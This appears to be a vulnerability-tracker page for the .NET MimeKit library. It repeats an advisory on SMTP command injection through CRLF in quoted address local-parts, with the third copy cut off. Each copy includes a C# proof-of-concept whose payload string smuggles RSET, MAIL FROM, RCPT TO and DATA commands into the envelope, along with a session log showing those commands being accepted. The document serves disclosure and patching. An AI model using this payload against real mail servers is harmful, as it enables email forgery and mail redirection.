MimeKit

Version	Released
`4.17.0` minor	May 26, 2026
`4.16.0` minor	Apr 15, 2026
`4.15.1` patch	Mar 05, 2026
`4.15.0` minor 1 CVE	Feb 14, 2026
`4.14.0` minor 1 CVE	Sep 28, 2025
`4.13.0` minor 1 CVE	Jun 25, 2025
`4.12.0` minor 1 CVE	Apr 29, 2025
`4.11.0` minor 1 CVE	Mar 08, 2025
`4.10.0` minor 1 CVE	Jan 26, 2025
`4.9.0` minor 1 CVE	Dec 09, 2024
`4.8.0` minor 1 CVE	Sep 29, 2024
`4.7.1` patch 1 CVE	Jul 11, 2024
`4.7.0` minor 2 CVEs	Jun 29, 2024
`4.6.0` minor 2 CVEs	May 17, 2024
`4.5.0` minor 2 CVEs	Apr 13, 2024
`4.4.0` minor 2 CVEs	Mar 02, 2024
`4.3.0` minor 2 CVEs	Nov 11, 2023
`4.2.0` minor 2 CVEs	Sep 02, 2023
`4.1.0` minor 2 CVEs	Jun 17, 2023
`4.0.0` major 2 CVEs	Apr 15, 2023
`3.6.1` patch 2 CVEs	Mar 19, 2023
`3.6.0` minor 2 CVEs	Mar 04, 2023
`3.5.0` minor 2 CVEs	Jan 28, 2023
`3.4.3` patch 2 CVEs	Nov 25, 2022
`3.4.2` patch 2 CVEs	Oct 24, 2022
`3.4.1` patch 2 CVEs	Sep 12, 2022
`3.4.0` minor 2 CVEs	Aug 18, 2022
`3.3.0` minor 2 CVEs	Jun 11, 2022
`3.2.0` minor 2 CVEs	Mar 26, 2022
`3.1.1` patch 2 CVEs	Jan 30, 2022
`3.1.0` minor 2 CVEs	Jan 15, 2022
`3.0.0` major 2 CVEs	Dec 11, 2021
`2.15.1` patch 1 CVE	Sep 13, 2021
`2.15.0` minor 1 CVE	Aug 19, 2021
`2.14.0` minor 1 CVE	Jul 28, 2021
`2.13.0` minor 1 CVE	Jun 12, 2021
`2.12.0` minor 1 CVE	May 12, 2021
`2.11.0` minor 1 CVE	Mar 12, 2021
`2.10.1` patch 1 CVE	Dec 05, 2020
`2.10.0` minor 1 CVE	Nov 21, 2020
`2.9.2` patch 1 CVE	Sep 12, 2020
`2.9.1` minor 1 CVE	Jul 11, 2020
`2.8.0` minor 1 CVE	May 30, 2020
`2.7.0` minor 1 CVE	May 19, 2020
`2.6.0` minor 1 CVE	Apr 04, 2020
`2.5.2` patch 1 CVE	Mar 14, 2020
`2.5.1` patch 1 CVE	Feb 15, 2020
`2.5.0` minor 1 CVE	Jan 18, 2020
`2.4.1` patch 1 CVE	Nov 10, 2019
`2.4.0.1` patch 1 CVE	Nov 05, 2019

4.17.0 minor

May 26, 2026

4.16.0 minor

Apr 15, 2026

4.15.1 patch

Mar 05, 2026

4.15.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Feb 14, 2026

4.14.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Sep 28, 2025

4.13.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
